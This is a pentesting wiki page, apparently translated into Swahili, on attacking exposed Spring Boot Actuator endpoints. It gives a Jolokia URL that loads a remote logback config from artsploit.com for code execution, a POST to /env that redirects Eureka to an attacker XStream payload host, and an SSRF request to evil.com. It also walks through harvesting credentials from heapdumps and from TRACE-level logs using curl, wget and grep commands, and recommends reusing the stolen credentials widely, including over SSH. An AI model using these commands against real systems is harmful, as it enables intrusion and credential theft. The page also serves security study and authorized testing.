Spring Actuators

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Spring Auth Bypass

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Exploiting Spring Boot Actuators

Angalia chapisho la awali kutoka [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Mambo Muhimu:

• Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. Katika toleo 1 hadi 1.4, endpoints hizi zinaweza kupatikana bila uthibitisho. Kuanzia toleo 1.5 na baadaye, /health na /info pekee ndizo zisizo hatarishi kwa chaguo-msingi, lakini watengenezaji mara nyingi hufuta usalama huu.
• Endpoints fulani za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo hatarishi:
• /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
• Katika Spring Boot 1.x, actuators zinajiandikisha chini ya root URL, wakati katika 2.x, ziko chini ya base path ya /actuator/.

Exploitation Techniques:

1. Remote Code Execution via '/jolokia':

• The /jolokia actuator endpoint exposes the Jolokia Library, ambayo inaruhusu upatikanaji wa MBeans kwa kupitia HTTP.
• The reloadByURL action inaweza kutumika kwa kureload configuration za logging kutoka kwenye URL ya nje, jambo ambalo linaweza kusababisha blind XXE au Remote Code Execution kupitia XML zilizotengenezwa mahsusi.
• Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

2. Config Modification via '/env':

• Ikiwa Spring Cloud Libraries zipo, endpoint ya /env inaruhusu mabadiliko ya properties za mazingira.
• Properties zinaweza kubadilishwa ili kutilia mtego udhaifu mbalimbali, kama vile udhaifu wa XStream deserialization katika Eureka serviceURL.
• Example exploit POST request:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

3. Other Useful Settings:

• Properties kama spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, na spring.datasource.tomcat.max-active zinaweza kubadilishwa kwa ajili ya exploits mbalimbali, kama SQL injection au kubadilisha connection strings za database.

Taarifa za Ziada:

• Orodha kamili ya actuators chaguo-msingi inapatikana here.
• The /env endpoint katika Spring Boot 2.x inatumia muundo wa JSON kwa mabadiliko ya property, lakini dhana kuu inabaki ile ile.

Mada Zinazohusiana:

1. Env + H2 RCE:

• Maelezo juu ya kutumia mchanganyiko wa endpoint ya /env na database ya H2 yanapatikana here.

2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

• Jinsi framework ya Spring inavyoshughulikia matrix parameters (;) katika pathnames za HTTP inaweza kutumika kwa Server-Side Request Forgery (SSRF).
• Example exploit request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

Ikiwa /actuator/heapdump imefunuliwa, kwa kawaida unaweza kupata snapshot kamili ya JVM heap ambayo mara nyingi ina siri zinazoishi (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, n.k.).

• Download and quick triage:

wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d

• Deeper analysis with VisualVM and OQL:
• Fungua heapdump katika VisualVM, chunguza instances za java.lang.String au endesha OQL kutafuta siri:

select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())

• Automated extraction with JDumpSpider:

java -jar JDumpSpider-*.jar heapdump

Matokeo ya kawaida yenye thamani kubwa:

• Spring DataSourceProperties / HikariDataSource objects zinazoonyesha url, username, password.
• OriginTrackedMapPropertySource entries zinazoonyesha management.endpoints.web.exposure.include, ports za huduma, na Basic-Auth iliyojazwa ndani ya URLs (mfano, Eureka defaultZone).
• Vipande vya kawaida vya HTTP request/response vinavyojumuisha Authorization: Basic ... vilivyokamatwa ndani ya memory.

Tips:

• Tumia wordlist inayolenga Spring kugundua actuator endpoints haraka (mfano, SecLists spring-boot.txt) na hakikisha kila mara kama /actuator/logfile, /actuator/httpexchanges, /actuator/env, na /actuator/configprops pia zimefunuliwa.
• Credentials kutoka heapdump mara nyingi hufanya kazi kwa huduma za jirani na wakati mwingine kwa watumiaji wa mfumo (SSH), hivyo vijaribu kwa upana.

Kutumia vibaya Actuator loggers/logging kushika credentials

Ikiwa management.endpoints.web.exposure.include inaruhusu na /actuator/loggers imefunuliwa, unaweza kwa nguvu kuongeza viwango vya logi kwa njia ya dynamic kuwa DEBUG/TRACE kwa packages zinazoshughulikia authentication na request processing. Ikichanganywa na logi zinazoweza kusomwa (kupitia /actuator/logfile au njia za logi zinazoeleweka), hii inaweza leak credentials zilizowasilishwa wakati wa login flows (mfano, Basic-Auth headers au form parameters).

• Enumerate and crank up sensitive loggers:

# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'

• Find where logs are written and harvest:

# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'

• Trigger login/authentication traffic and parse the log for creds. Katika setups za microservice zenye gateway inayokinga auth, kuwezesha TRACE kwa packages za gateway/security mara nyingi hufanya headers na bodies za form kuwa zinazoonekana. Baadhi ya mazingira hata huunda synthetic login traffic kwa vipindi, hivyo kusanya kwa urahisi mara logging inapokuwa verbose.

Notes:

• Rudisha viwango vya logi ukimaliza: POST /actuator/loggers/<logger> ukiweka { "configuredLevel": null }.
• Ikiwa /actuator/httpexchanges imefunuliwa, pia inaweza kuonyesha metadata ya maombi ya hivi karibuni ambayo inaweza kujumuisha headers zenye nyeti.

References

• Exploring Spring Boot Actuator Misconfigurations (Wiz)
• VisualVM
• JDumpSpider
• 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)